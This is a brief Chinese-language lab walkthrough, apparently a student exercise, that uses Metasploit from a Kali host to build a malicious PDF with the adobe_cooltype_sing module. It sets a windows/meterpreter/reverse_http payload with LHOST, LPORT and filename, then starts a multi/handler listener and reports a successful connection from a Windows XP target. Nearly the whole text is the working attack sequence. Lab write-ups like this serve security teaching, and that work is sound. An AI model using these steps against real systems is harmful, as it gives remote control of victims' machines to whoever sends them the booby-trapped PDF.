实验过程
-
主机为kali的ip地址为：
192.168.1.111、靶机windows xp 的ip地址为：192.168.1.110 -
使用命令
msfconsole进入控制台 -
根据自己的需求选择攻击模块，将其载入（这里选用windows/fileformat/adobe_cooltype_sing），可以使用
info命令查看模块的基本信息，以及参数要求，使用命令为use windows/fileformat/adobe_cooltype_sing进入攻击模块 -
设置攻击载荷payloads ，命令为
set payloads windows/meterpreter/reverse_http -
使用命令
show options来确定需要修改的参数。需要设置的参数有LHOST、LPORT、FILENAMEset LHOST 192.168.1.111
set LPORT 5333
set FILENAME 5333.pdf -
使用命令
exploit生成5333.pdf -
其生成路径，是一个隐藏文件夹，可以打开另一个终端，使用命令
cp 5333.pdf /root/5333.pdf将其复制到根目录下 -
退出并重新进入msf平台
-
使用命令
use exploit/multi/handler进入监听模式，设置好参数，执行exploit等待被攻击者的接听。 -
连接成功